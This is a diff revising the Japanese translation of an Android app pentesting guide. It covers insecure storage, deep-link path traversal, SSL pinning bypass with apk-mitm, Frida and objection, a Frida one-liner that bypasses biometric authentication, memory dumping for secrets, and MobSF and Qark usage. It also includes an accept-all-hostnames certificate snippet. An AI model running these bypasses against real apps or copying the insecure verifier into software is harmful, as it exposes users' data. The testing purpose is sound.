> Android 4.4(**API 17**)以降、SDカードにはアプリ専用のディレクトリ構造があり、**アプリがそのアプリ専用のディレクトリにのみアクセスできるように制限されています**。これにより、悪意のあるアプリケーションが他のアプリのファイルに対して読み取りまたは書き込みアクセスを得ることを防ぎます。
|
||||
|
||||
**平文で保存された機密データ**
|
||||
|
||||
@ -142,7 +142,7 @@ Androidでは、**内部**ストレージに**保存された**ファイルは
|
||||
|
||||
**すべての証明書を受け入れる**
|
||||
|
||||
何らかの理由で、開発者は時々、ホスト名が以下のようなコード行と一致しない場合でも、すべての証明書を受け入れます:
|
||||
何らかの理由で、開発者はホスト名が一致しない場合でも、すべての証明書を受け入れることがあります。例えば、以下のようなコード行がある場合です:
|
||||
```java
|
||||
SSLSocketFactory sf = new cc(trustStore);
|
||||
sf.setHostnameVerifier(SSLSocketFactory.ALLOW_ALL_HOSTNAME_VERIFIER);
|
||||
@ -163,7 +163,7 @@ A good way to test this is to try to capture the traffic using some proxy like B
|
||||
|
||||
- APKを**難読化する**ことを推奨します。これにより、攻撃者のリバースエンジニアリング作業が困難になります。
|
||||
- アプリが機密性の高いものである場合(銀行アプリなど)、**モバイルがルート化されているかどうかを確認する独自のチェックを実行**し、適切に対処する必要があります。
|
||||
- アプリが機密性の高いものである場合(銀行アプリなど)、**エミュレーター**が使用されているかどうかを確認する必要があります。
|
||||
- アプリが機密性の高いものである場合(銀行アプリなど)、**エミュレーターが使用されているかどうかを確認**する必要があります。
|
||||
- アプリが機密性の高いものである場合(銀行アプリなど)、**実行前に自身の整合性を確認**し、変更されていないかを確認する必要があります。
|
||||
- [**APKiD**](https://github.com/rednaga/APKiD)を使用して、APKをビルドするために使用されたコンパイラ/パッカー/難読化ツールを確認します。
|
||||
|
||||
@ -274,15 +274,15 @@ You need to activate the **debugging** options and it will be cool if you can **
|
||||
|
||||
**Logging**
|
||||
|
||||
開発者は、**デバッグ情報**を公開することに注意すべきです。これは機密データの漏洩につながる可能性があります。アプリケーションのログを監視して機密情報を特定し保護するために、[**pidcat**](https://github.com/JakeWharton/pidcat)と`adb logcat`を推奨します。**Pidcat**は使いやすさと可読性のために好まれます。
|
||||
開発者は、**デバッグ情報**を公開することに注意すべきです。これは機密データの漏洩につながる可能性があります。アプリケーションログを監視して機密情報を特定し保護するために、[**pidcat**](https://github.com/JakeWharton/pidcat)と`adb logcat`を推奨します。**Pidcat**は使いやすさと可読性のために好まれます。
|
||||
|
||||
> [!WARNING]
|
||||
> **Android 4.0以降**、**アプリケーションは自分自身のログにのみアクセスできる**ことに注意してください。したがって、アプリケーションは他のアプリのログにアクセスできません。\
|
||||
> **Android 4.0以降**、**アプリケーションは自分のログにのみアクセスできる**ことに注意してください。したがって、アプリケーションは他のアプリのログにアクセスできません。\
|
||||
> それでも、**機密情報をログに記録しない**ことを推奨します。
|
||||
|
||||
**Copy/Paste Buffer Caching**
|
||||
|
||||
Androidの**クリップボードベース**のフレームワークは、アプリ内でのコピー&ペースト機能を可能にしますが、**他のアプリケーション**がクリップボードにアクセスできるため、機密データが露出するリスクがあります。クレジットカードの詳細など、アプリケーションの機密セクションに対して**コピー/ペースト**機能を無効にすることが重要です。
|
||||
Androidの**クリップボードベース**のフレームワークは、アプリ内でのコピー&ペースト機能を可能にしますが、**他のアプリケーション**がクリップボードにアクセスできるため、機密データが漏洩するリスクがあります。クレジットカードの詳細など、アプリケーションの機密セクションに対して**コピー/ペースト**機能を無効にすることが重要です。
|
||||
|
||||
**Crash Logs**
|
||||
|
||||
@ -329,11 +329,11 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
|
||||
**注意**: MobSFは、アクティビティの`android:launchMode`における_**singleTask/singleInstance**_の使用を悪意のあるものとして検出しますが、[これ](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750)によると、これは古いバージョン(APIバージョン<21)でのみ危険なようです。
|
||||
|
||||
> [!TIP]
|
||||
> 認証バイパスは常に脆弱性ではないことに注意してください。バイパスの動作とどの情報が公開されるかによります。
|
||||
> 認証バイパスは常に脆弱性ではないことに注意してください。バイパスの動作とどの情報が公開されているかによります。
|
||||
|
||||
**機密情報の漏洩**
|
||||
|
||||
**アクティビティは結果を返すこともできます**。もし、エクスポートされていて保護されていないアクティビティが**`setResult`**メソッドを呼び出し、**機密情報を返している**場合、機密情報の漏洩があります。
|
||||
**アクティビティは結果を返すこともできます**。もし、**`setResult`**メソッドを呼び出し、**機密情報を返す**エクスポートされた保護されていないアクティビティを見つけることができれば、機密情報の漏洩があります。
|
||||
|
||||
#### タップジャッキング
|
||||
|
||||
@ -384,12 +384,12 @@ _パッケージ名を**省略する**ことができ、モバイルは自動的
|
||||
|
||||
**機密情報**
|
||||
|
||||
ディープリンクを見つけるたびに、**URLパラメータを介して機密データ(パスワードなど)を受信していないか確認してください**。他のアプリケーションが**ディープリンクを偽装してそのデータを盗む可能性があります!**
|
||||
ディープリンクを見つけるたびに、**URLパラメータを介して機密データ(パスワードなど)を受信していないか確認する必要があります**。他のアプリケーションが**ディープリンクを偽装してそのデータを盗む可能性があるからです!**
|
||||
|
||||
**パス内のパラメータ**
|
||||
|
||||
**URLのパス内にパラメータを使用しているディープリンクがあるかどうかも確認する必要があります**。例えば、`https://api.example.com/v1/users/{username}` のように。この場合、`example://app/users?username=../../unwanted-endpoint%3fparam=value` のようにパスのトラバーサルを強制することができます。\
|
||||
アプリケーション内で正しいエンドポイントを見つけた場合、**オープンリダイレクト**(パスの一部がドメイン名として使用される場合)、**アカウント乗っ取り**(CSRFトークンなしでユーザーの詳細を変更でき、脆弱なエンドポイントが正しいメソッドを使用している場合)やその他の脆弱性を引き起こす可能性があります。詳細は[こちら](http://dphoeniixx.com/2020/12/13-2/)を参照してください。
|
||||
**URLのパス内にパラメータを使用しているディープリンクがあるかどうかも確認する必要があります**。例えば、`https://api.example.com/v1/users/{username}` のように。この場合、`example://app/users?username=../../unwanted-endpoint%3fparam=value` のようにパストラバーサルを強制することができます。\
|
||||
アプリケーション内で正しいエンドポイントを見つけた場合、**オープンリダイレクト**(パスの一部がドメイン名として使用される場合)、**アカウント乗っ取り**(CSRFトークンなしでユーザーの詳細を変更でき、脆弱なエンドポイントが正しいメソッドを使用している場合)、およびその他の脆弱性を引き起こす可能性があります。詳細は[こちら](http://dphoeniixx.com/2020/12/13-2/)を参照してください。
|
||||
|
||||
**さらなる例**
|
||||
|
||||
@ -399,11 +399,11 @@ _パッケージ名を**省略する**ことができ、モバイルは自動的
|
||||
|
||||
- **証明書はAndroidアプリケーションによって常に適切に検査されるわけではありません**。これらのアプリケーションは警告を見落とし、自己署名証明書を受け入れたり、場合によってはHTTP接続に戻ったりすることが一般的です。
|
||||
- **SSL/TLSハンドシェイク中の交渉は時々弱く**、安全でない暗号スイートを使用しています。この脆弱性により、接続が中間者攻撃(MITM)に対して脆弱になり、攻撃者がデータを復号化できるようになります。
|
||||
- **プライベート情報の漏洩**は、アプリケーションが安全なチャネルを使用して認証を行った後、他のトランザクションのために非安全なチャネルで通信する場合にリスクがあります。このアプローチは、セッションクッキーやユーザーの詳細などの機密データを悪意のあるエンティティによる傍受から保護できません。
|
||||
- **プライベート情報の漏洩**は、アプリケーションが安全なチャネルを使用して認証するが、他のトランザクションのために非安全なチャネルで通信する場合にリスクがあります。このアプローチは、セッションクッキーやユーザーの詳細などの機密データを悪意のあるエンティティによる傍受から保護できません。
|
||||
|
||||
#### 証明書の検証
|
||||
|
||||
**証明書の検証**に焦点を当てます。サーバーの証明書の整合性を確認することは、セキュリティを強化するために重要です。これは、安全でないTLS構成や暗号化されていないチャネルを介して機密データを送信することが重大なリスクをもたらすため、重要です。サーバー証明書の検証と脆弱性への対処に関する詳細な手順は、[**このリソース**](https://manifestsecurity.com/android-application-security-part-10/)で包括的に説明されています。
|
||||
**証明書の検証**に焦点を当てます。サーバーの証明書の整合性を確認することは、セキュリティを強化するために重要です。これは、安全でないTLS構成や暗号化されていないチャネルを介して機密データを送信することが重大なリスクをもたらす可能性があるためです。サーバー証明書の検証と脆弱性への対処に関する詳細な手順は、[**このリソース**](https://manifestsecurity.com/android-application-security-part-10/)で包括的に説明されています。
|
||||
|
||||
#### SSLピンニング
|
||||
|
||||
@ -413,23 +413,23 @@ SSLピンニングは、アプリケーションがサーバーの証明書を
|
||||
|
||||
HTTPトラフィックを検査するには、**プロキシツールの証明書をインストールする必要があります**(例:Burp)。この証明書をインストールしないと、暗号化されたトラフィックはプロキシを通じて表示されない可能性があります。カスタムCA証明書のインストールに関するガイドは、[**こちらをクリック**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine)してください。
|
||||
|
||||
**APIレベル24以上**をターゲットにしたアプリケーションは、プロキシのCA証明書を受け入れるためにネットワークセキュリティ構成を変更する必要があります。このステップは、暗号化されたトラフィックを検査するために重要です。ネットワークセキュリティ構成の変更に関する指示は、[**このチュートリアル**](make-apk-accept-ca-certificate.md)を参照してください。
|
||||
**APIレベル24以上**をターゲットとするアプリケーションは、プロキシのCA証明書を受け入れるためにネットワークセキュリティ構成を変更する必要があります。このステップは、暗号化されたトラフィックを検査するために重要です。ネットワークセキュリティ構成を変更する手順については、[**このチュートリアルを参照**](make-apk-accept-ca-certificate.md)してください。
|
||||
|
||||
**Flutter**が使用されている場合は、[**このページ**](flutter.md)の指示に従う必要があります。これは、証明書をストアに追加するだけでは機能せず、Flutterには独自の有効なCAのリストがあるためです。
|
||||
|
||||
#### SSLピンニングのバイパス
|
||||
|
||||
SSLピンニングが実装されている場合、HTTPSトラフィックを検査するためにそれをバイパスする必要があります。この目的のためにさまざまな方法があります:
|
||||
SSLピンニングが実装されている場合、HTTPSトラフィックを検査するためにそれをバイパスする必要があります。この目的のために利用できるさまざまな方法があります:
|
||||
|
||||
- 自動的に**apkを修正**してSSLピンニングを**バイパス**するには、[**apk-mitm**](https://github.com/shroudedcode/apk-mitm)を使用します。このオプションの最大の利点は、SSLピンニングをバイパスするためにルートが必要ないことですが、アプリケーションを削除して新しいものを再インストールする必要があり、これが常に機能するわけではありません。
|
||||
- **Frida**を使用してこの保護をバイパスすることもできます。Burp+Frida+Genymotionを使用するためのガイドはこちらです:[https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- **objection**を使用してSSLピンニングを**自動的にバイパス**することもできます:`objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- **MobSF動的分析**を使用してSSLピンニングを**自動的にバイパス**することも試みることができます(下記で説明)。
|
||||
- **apkを自動的に修正**してSSLピンニングを**バイパス**するには、[**apk-mitm**](https://github.com/shroudedcode/apk-mitm)を使用します。このオプションの最大の利点は、SSLピンニングをバイパスするためにrootが必要ないことですが、アプリケーションを削除して新しいものを再インストールする必要があり、これが常に機能するわけではありません。
|
||||
- **Frida**を使用してこの保護をバイパスすることもできます(以下で説明)。Burp+Frida+Genymotionを使用するためのガイドはこちらです:[https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/)
|
||||
- **objection**を使用してSSLピンニングを**自動的にバイパス**することもできます(以下で説明):`objection --gadget com.package.app explore --startup-command "android sslpinning disable"`
|
||||
- **MobSF動的分析**を使用してSSLピンニングを**自動的にバイパス**することも試みることができます(以下で説明)。
|
||||
- まだキャプチャしていないトラフィックがあると思われる場合は、**iptablesを使用してトラフィックをburpに転送**することを試みることができます。このブログを読んでください:[https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62)
|
||||
|
||||
#### 一般的なWeb脆弱性の検索
|
||||
|
||||
アプリケーション内で一般的なWeb脆弱性を検索することも重要です。これらの脆弱性を特定し、軽減するための詳細情報はこの要約の範囲を超えていますが、他の場所で広範にカバーされています。
|
||||
アプリケーション内で一般的なWeb脆弱性を検索することも重要です。これらの脆弱性を特定し、軽減するための詳細な情報はこの要約の範囲を超えていますが、他の場所で広範にカバーされています。
|
||||
|
||||
### Frida
|
||||
|
||||
@ -437,13 +437,13 @@ SSLピンニングが実装されている場合、HTTPSトラフィックを検
|
||||
**実行中のアプリケーションにアクセスし、実行時にメソッドをフックして動作を変更したり、値を変更したり、値を抽出したり、異なるコードを実行したりできます...**\
|
||||
Androidアプリケーションをペンテストするには、Fridaの使い方を知っておく必要があります。
|
||||
|
||||
- Fridaの使い方を学ぶ: [**Fridaチュートリアル**](frida-tutorial/index.html)
|
||||
- Fridaを使ったアクションのための「GUI」: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- Fridaの使い方を学ぶ:[**Fridaチュートリアル**](frida-tutorial/index.html)
|
||||
- Fridaを使ったアクションのための「GUI」:[**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security)
|
||||
- OjectionはFridaの使用を自動化するのに最適です:[**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon)
|
||||
- ここで素晴らしいFridaスクリプトを見つけることができます:[**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)に示されているようにFridaを読み込んで、アンチデバッグ/アンチFridaメカニズムをバイパスしてみてください(ツール[linjector](https://github.com/erfur/linjector-rs))。
|
||||
- ここでいくつかの素晴らしいFridaスクリプトを見つけることができます:[**https://codeshare.frida.re/**](https://codeshare.frida.re)
|
||||
- Fridaを読み込む際に、[https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace)に示されているように、アンチデバッグ/アンチFridaメカニズムをバイパスすることを試みてください(ツール[linjector](https://github.com/erfur/linjector-rs))。
|
||||
|
||||
### **メモリダンプ - Fridump**
|
||||
### **メモリのダンプ - Fridump**
|
||||
|
||||
アプリケーションがパスワードやニーモニックのような機密情報を保存していないか確認してください。
|
||||
|
||||
@ -462,7 +462,7 @@ strings * | grep -E "^[a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a-z]+ [a
|
||||
```
|
||||
### **Keystore内の機密データ**
|
||||
|
||||
Androidでは、Keystoreは機密データを保存するのに最適な場所ですが、十分な権限があれば**アクセスすることが可能です**。アプリケーションはここに**平文で機密データを保存する傾向があるため**、ペンテストはそれを確認する必要があります。ルートユーザーやデバイスに物理的にアクセスできる誰かがこのデータを盗む可能性があります。
|
||||
Androidでは、Keystoreは機密データを保存するのに最適な場所ですが、十分な権限があれば**アクセスすることが可能です**。アプリケーションはここに**平文で機密データを保存する傾向があるため**、ペンテストはルートユーザーとしてこれをチェックする必要があります。さもなければ、物理的にデバイスにアクセスできる誰かがこのデータを盗むことができるかもしれません。
|
||||
|
||||
アプリがKeystoreにデータを保存していても、そのデータは暗号化されているべきです。
|
||||
|
||||
@ -472,19 +472,19 @@ frida -U -f com.example.app -l frida-scripts/tracer-cipher.js
|
||||
```
|
||||
### **指紋/生体認証バイパス**
|
||||
|
||||
次のFridaスクリプトを使用することで、Androidアプリケーションが特定の機密領域を保護するために実行している**指紋認証をバイパス**することが可能になるかもしれません:
|
||||
次のFridaスクリプトを使用することで、Androidアプリケーションが特定の機密領域を保護するために行っている**指紋認証をバイパス**することが可能になるかもしれません:
|
||||
```bash
|
||||
frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app.package>
|
||||
```
|
||||
### **バックグラウンド画像**
|
||||
|
||||
アプリケーションをバックグラウンドに置くと、Androidはアプリケーションの**スナップショット**を保存します。これにより、フォアグラウンドに復帰したときにアプリがより早く読み込まれているように見えます。
|
||||
アプリケーションをバックグラウンドに置くと、Androidはアプリケーションの**スナップショット**を保存します。これにより、フォアグラウンドに復帰したときに、アプリが読み込まれる前に画像が読み込まれるため、アプリがより早く読み込まれたように見えます。
|
||||
|
||||
しかし、このスナップショットに**機密情報**が含まれている場合、スナップショットにアクセスできる誰かがその情報を**盗む**可能性があります(アクセスするにはルート権限が必要です)。
|
||||
しかし、このスナップショットに**機密情報**が含まれている場合、スナップショットにアクセスできる人はその情報を**盗む可能性**があります(アクセスするにはルート権限が必要です)。
|
||||
|
||||
スナップショットは通常、次の場所に保存されます: **`/data/system_ce/0/snapshots`**
|
||||
|
||||
Androidは、FLAG_SECUREレイアウトパラメータを設定することで**スクリーンショットのキャプチャを防ぐ**方法を提供します。このフラグを使用すると、ウィンドウの内容は安全と見なされ、スクリーンショットに表示されたり、非安全なディスプレイで表示されたりすることを防ぎます。
|
||||
Androidは、FLAG_SECUREレイアウトパラメータを設定することで**スクリーンショットのキャプチャを防ぐ**方法を提供します。このフラグを使用すると、ウィンドウの内容は安全と見なされ、スクリーンショットに表示されたり、非安全なディスプレイで表示されたりするのを防ぎます。
|
||||
```bash
|
||||
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
```
|
||||
@ -496,12 +496,12 @@ getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
|
||||
|
||||
開発者は、これらのインテントを処理し、`startActivity(...)`や`sendBroadcast(...)`などのメソッドに渡すプロキシコンポーネント(アクティビティ、サービス、ブロードキャストレシーバーなど)を作成することがよくありますが、これはリスクを伴います。
|
||||
|
||||
危険は、攻撃者がこれらのインテントを誤って誘導することによって、非エクスポートアプリコンポーネントをトリガーしたり、機密コンテンツプロバイダーにアクセスしたりできることにあります。注目すべき例は、`WebView`コンポーネントがURLを`Intent`オブジェクトに変換し、`Intent.parseUri(...)`を介して実行することで、悪意のあるインテント注入につながる可能性があることです。
|
||||
危険は、攻撃者がこれらのインテントを誤って誘導することによって、非エクスポートアプリコンポーネントをトリガーしたり、機密コンテンツプロバイダーにアクセスしたりできることにあります。注目すべき例は、`WebView`コンポーネントがURLを`Intent`オブジェクトに変換し、`Intent.parseUri(...)`を介して実行することで、悪意のあるインテント注入を引き起こす可能性があることです。
|
||||
|
||||
### Essential Takeaways
|
||||
|
||||
- **Intent Injection**は、ウェブのオープンリダイレクト問題に似ています。
|
||||
- 脆弱性は、`Intent`オブジェクトをエクストラとして渡すことに関与し、これが不安全な操作を実行するためにリダイレクトされる可能性があります。
|
||||
- 脆弱性は、`Intent`オブジェクトをエクストラとして渡すことに関与し、これが不正な操作を実行するためにリダイレクトされる可能性があります。
|
||||
- 攻撃者に非エクスポートコンポーネントやコンテンツプロバイダーを露出させる可能性があります。
|
||||
- `WebView`のURLから`Intent`への変換は、意図しないアクションを促進する可能性があります。
|
||||
|
||||
@ -531,41 +531,41 @@ docker pull opensecurity/mobile-security-framework-mobsf
|
||||
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
|
||||
```
|
||||
MobSFは**Android**(apk)**、IOS**(ipa) **およびWindows**(apx)アプリケーションを分析できます(_Windowsアプリケーションは、WindowsホストにインストールされたMobSFから分析する必要があります_)。\
|
||||
また、**Android**または**IOS**アプリのソースコードを含む**ZIP**ファイルを作成すると(アプリケーションのルートフォルダーに移動し、すべてを選択してZIPファイルを作成)、それも分析できます。
|
||||
また、**Android**または**IOS**アプリのソースコードで**ZIP**ファイルを作成すると(アプリケーションのルートフォルダーに移動し、すべてを選択してZIPファイルを作成)、それも分析できます。
|
||||
|
||||
MobSFはまた、**diff/Compare**分析を行い、**VirusTotal**を統合することも可能です(_MobSF/settings.py_にAPIキーを設定し、次のように有効にする必要があります: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`)。`VT_UPLOAD`を`False`に設定すると、**ハッシュ**がファイルの代わりに**アップロード**されます。
|
||||
MobSFは**diff/Compare**分析を行い、**VirusTotal**を統合することも可能です(_MobSF/settings.py_にAPIキーを設定し、次のように有効にする必要があります: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`)。`VT_UPLOAD`を`False`に設定すると、**ハッシュ**がファイルの代わりに**アップロード**されます。
|
||||
|
||||
### MobSFによる支援された動的分析
|
||||
|
||||
**MobSF**は**Android**における**動的分析**にも非常に役立ちますが、その場合はホストにMobSFと**genymotion**をインストールする必要があります(VMやDockerでは動作しません)。_注: まず**genymotionでVMを起動**し、**その後MobSFを起動する必要があります。**_\
|
||||
**MobSF動的アナライザー**は以下のことができます:
|
||||
**MobSF**は**Android**における**動的分析**にも非常に役立ちますが、その場合はホストにMobSFと**genymotion**をインストールする必要があります(VMやDockerでは動作しません)。_注: **まずgenymotionでVMを起動し**、**その後MobSFを起動する必要があります。**_\
|
||||
**MobSF動的アナライザー**は以下を行うことができます:
|
||||
|
||||
- **アプリケーションデータをダンプ**(URL、ログ、クリップボード、あなたが撮ったスクリーンショット、"**Exported Activity Tester**"によって作成されたスクリーンショット、メール、SQLiteデータベース、XMLファイル、その他の作成されたファイル)。これらはすべて自動的に行われますが、スクリーンショットは、撮りたいときにボタンを押す必要があります。または、すべてのエクスポートされたアクティビティのスクリーンショットを取得するために"**Exported Activity Tester**"を押す必要があります。
|
||||
- **アプリケーションデータをダンプ**(URL、ログ、クリップボード、あなたが撮ったスクリーンショット、"**Exported Activity Tester**"によって作成されたスクリーンショット、メール、SQLiteデータベース、XMLファイル、その他の作成されたファイル)。これらはすべて自動的に行われますが、スクリーンショットはあなたが撮りたいときにボタンを押す必要があります。または、すべてのエクスポートされたアクティビティのスクリーンショットを取得するために"**Exported Activity Tester**"を押す必要があります。
|
||||
- **HTTPSトラフィックをキャプチャ**
|
||||
- **Frida**を使用して**ランタイム**の**情報**を取得
|
||||
|
||||
Androidの**バージョン > 5**では、**Frida**が**自動的に起動**し、トラフィックを**キャプチャ**するためのグローバル**プロキシ**設定が行われます。テストされたアプリケーションからのトラフィックのみをキャプチャします。
|
||||
Androidの**バージョン > 5**では、**Frida**が**自動的に起動**し、**トラフィックをキャプチャ**するためのグローバル**プロキシ**設定が行われます。テストされたアプリケーションからのトラフィックのみをキャプチャします。
|
||||
|
||||
**Frida**
|
||||
|
||||
デフォルトでは、SSLピンニング、**ルート検出**、**デバッガ検出**を**バイパス**し、**興味深いAPI**を**監視**するためにいくつかのFridaスクリプトも使用します。\
|
||||
デフォルトでは、SSLピンニング、**ルート検出**、**デバッガ検出**を**バイパス**し、**興味深いAPI**を**監視**するためにいくつかのFridaスクリプトを使用します。\
|
||||
MobSFはまた、**エクスポートされたアクティビティを呼び出し**、それらの**スクリーンショットを取得**し、レポート用に**保存**することもできます。
|
||||
|
||||
**動的テストを開始**するには、緑のボタン"**Start Instrumentation**"を押します。"**Frida Live Logs**"を押すと、Fridaスクリプトによって生成されたログが表示され、"**Live API Monitor**"を押すと、フックされたメソッドへのすべての呼び出し、渡された引数、返された値が表示されます(これは"Start Instrumentation"を押した後に表示されます)。\
|
||||
MobSFはまた、独自の**Fridaスクリプト**を読み込むこともできます(Fridaスクリプトの結果をMobSFに送信するには、`send()`関数を使用します)。さらに、**いくつかの事前に書かれたスクリプト**を読み込むこともできます(`MobSF/DynamicAnalyzer/tools/frida_scripts/others/`に追加できます)、ただ**選択し**、"**Load**"を押し、"**Start Instrumentation**"を押します(そのスクリプトのログは"**Frida Live Logs**"内で見ることができます)。
|
||||
動的テストを**開始**するには、緑のボタン"**Start Instrumentation**"を押します。"**Frida Live Logs**"を押すと、Fridaスクリプトによって生成されたログを見ることができ、"**Live API Monitor**"を押すと、フックされたメソッドへのすべての呼び出し、渡された引数、返された値を見ることができます(これは"Start Instrumentation"を押した後に表示されます)。\
|
||||
MobSFは、独自の**Fridaスクリプト**を読み込むこともできます(Fridaスクリプトの結果をMobSFに送信するには、`send()`関数を使用します)。また、読み込むことができる**いくつかの事前に書かれたスクリプト**もあります(`MobSF/DynamicAnalyzer/tools/frida_scripts/others/`に追加できます)、ただ**選択し**、"**Load**"を押し、"**Start Instrumentation**"を押すだけです(そのスクリプトのログは"**Frida Live Logs**"内で見ることができます)。
|
||||
|
||||
.png>)
|
||||
|
||||
さらに、いくつかの補助的なFrida機能があります:
|
||||
|
||||
- **読み込まれたクラスを列挙**: すべての読み込まれたクラスを表示します
|
||||
- **文字列をキャプチャ**: アプリケーションを使用中にキャプチャされたすべての文字列を表示します(非常にノイジーです)
|
||||
- **文字列比較をキャプチャ**: 非常に役立つ可能性があります。**比較されている2つの文字列**と、結果がTrueかFalseかを**表示**します。
|
||||
- **クラスメソッドを列挙**: クラス名(例: "java.io.File")を入力すると、そのクラスのすべてのメソッドが表示されます。
|
||||
- **クラスパターンを検索**: パターンでクラスを検索
|
||||
- **クラスメソッドをトレース**: **クラス全体をトレース**(そのクラスのすべてのメソッドの入力と出力を確認)。デフォルトでは、MobSFは興味深いAndroid APIメソッドをいくつかトレースします。
|
||||
- **読み込まれたクラスを列挙**: すべての読み込まれたクラスを印刷します
|
||||
- **文字列をキャプチャ**: アプリケーションを使用中にキャプチャされたすべての文字列を印刷します(非常に騒がしい)
|
||||
- **文字列比較をキャプチャ**: 非常に便利です。**比較されている2つの文字列**と、結果がTrueかFalseかを**表示**します。
|
||||
- **クラスメソッドを列挙**: クラス名(例:"java.io.File")を入力すると、そのクラスのすべてのメソッドを印刷します。
|
||||
- **クラスパターンを検索**: パターンでクラスを検索します
|
||||
- **クラスメソッドをトレース**: **クラス全体をトレース**します(そのクラスのすべてのメソッドの入力と出力を確認します)。デフォルトでは、MobSFは興味深いAndroid APIメソッドをいくつかトレースします。
|
||||
|
||||
使用したい補助モジュールを選択したら、"**Start Intrumentation**"を押すと、すべての出力が"**Frida Live Logs**"に表示されます。
|
||||
使用したい補助モジュールを選択したら、"**Start Instrumentation**"を押す必要があり、すべての出力は"**Frida Live Logs**"に表示されます。
|
||||
|
||||
**Shell**
|
||||
|
||||
@ -580,10 +580,10 @@ receivers
|
||||
```
|
||||
**HTTPツール**
|
||||
|
||||
HTTPトラフィックがキャプチャされると、キャプチャされたトラフィックの醜いビューが「**HTTP(S) Traffic**」の下部に表示されるか、「**Start HTTPTools**」の緑のボタンでより良いビューが表示されます。2番目のオプションから、**キャプチャされたリクエスト**を**プロキシ**(BurpやOwasp ZAPなど)に**送信**できます。\
|
||||
そのためには、_Burpを起動 -->_ _インターセプトをオフにする --> MobSBのHTTPToolsでリクエストを選択_ --> 「**Send to Fuzzer**」を押す --> _プロキシアドレスを選択_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
|
||||
HTTPトラフィックがキャプチャされると、"**HTTP(S) Traffic**"の下にキャプチャされたトラフィックの醜いビューが表示されるか、"**Start HTTPTools**"の緑のボタンでより良いビューが表示されます。2番目のオプションから、**キャプチャされたリクエスト**を**プロキシ**(BurpやOwasp ZAPなど)に**送信**できます。\
|
||||
そのためには、_Burpを起動 -->_ _インターセプトをオフにする --> MobSBのHTTPToolsでリクエストを選択_ --> "**Send to Fuzzer**"を押す --> _プロキシアドレスを選択_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080))。
|
||||
|
||||
MobSFで動的分析が終了したら、「**Start Web API Fuzzer**」を押して**HTTPリクエストをファズ**し、脆弱性を探します。
|
||||
MobSFで動的分析が終了したら、"**Start Web API Fuzzer**"を押して**HTTPリクエストをファズ**し、脆弱性を探します。
|
||||
|
||||
> [!TIP]
|
||||
> MobSFで動的分析を実行した後、プロキシ設定が誤って構成される可能性があり、GUIから修正できなくなることがあります。プロキシ設定を修正するには、次のコマンドを実行します:
|
||||
@ -605,7 +605,7 @@ MobSFで動的分析が終了したら、「**Start Web API Fuzzer**」を押し
|
||||
|
||||
### [Qark](https://github.com/linkedin/qark)
|
||||
|
||||
このツールは、**ソースコード**または**パッケージ化されたAPK**のいずれかで、いくつかの**セキュリティ関連のAndroidアプリケーションの脆弱性**を探すように設計されています。このツールは、発見された脆弱性(公開されたアクティビティ、インテント、タップジャッキングなど)を悪用するための「Proof-of-Concept」デプロイ可能APKおよび**ADBコマンド**を作成することも**可能です**。Drozerと同様に、テストデバイスをルート化する必要はありません。
|
||||
このツールは、**ソースコード**または**パッケージ化されたAPK**のいずれかで、いくつかの**セキュリティ関連のAndroidアプリケーションの脆弱性**を探すように設計されています。このツールは、発見された脆弱性(公開されたアクティビティ、インテント、タップジャッキングなど)を悪用するための**「Proof-of-Concept」デプロイ可能APK**と**ADBコマンド**を作成することも**可能です**。Drozerと同様に、テストデバイスをルート化する必要はありません。
|
||||
```bash
|
||||
pip3 install --user qark # --user is only needed if not using a virtualenv
|
||||
qark --apk path/to/my.apk
|
||||
@ -614,7 +614,7 @@ qark --java path/to/specific/java/file.java
|
||||
```
|
||||
### [**ReverseAPK**](https://github.com/1N3/ReverseAPK.git)
|
||||
|
||||
- 参照用にすべての抽出ファイルを表示
|
||||
- すべての抽出されたファイルを簡単に参照できるように表示
|
||||
- APKファイルを自動的にJavaおよびSmali形式にデコンパイル
|
||||
- 一般的な脆弱性と動作のためにAndroidManifest.xmlを分析
|
||||
- 一般的な脆弱性と動作のための静的ソースコード分析
|
||||
@ -627,7 +627,7 @@ reverse-apk relative/path/to/APP.apk
|
||||
|
||||
SUPERは、Windows、MacOS X、Linuxで使用できるコマンドラインアプリケーションで、脆弱性を探すために_.apk_ファイルを分析します。これは、APKを解凍し、一連のルールを適用して脆弱性を検出することによって行われます。
|
||||
|
||||
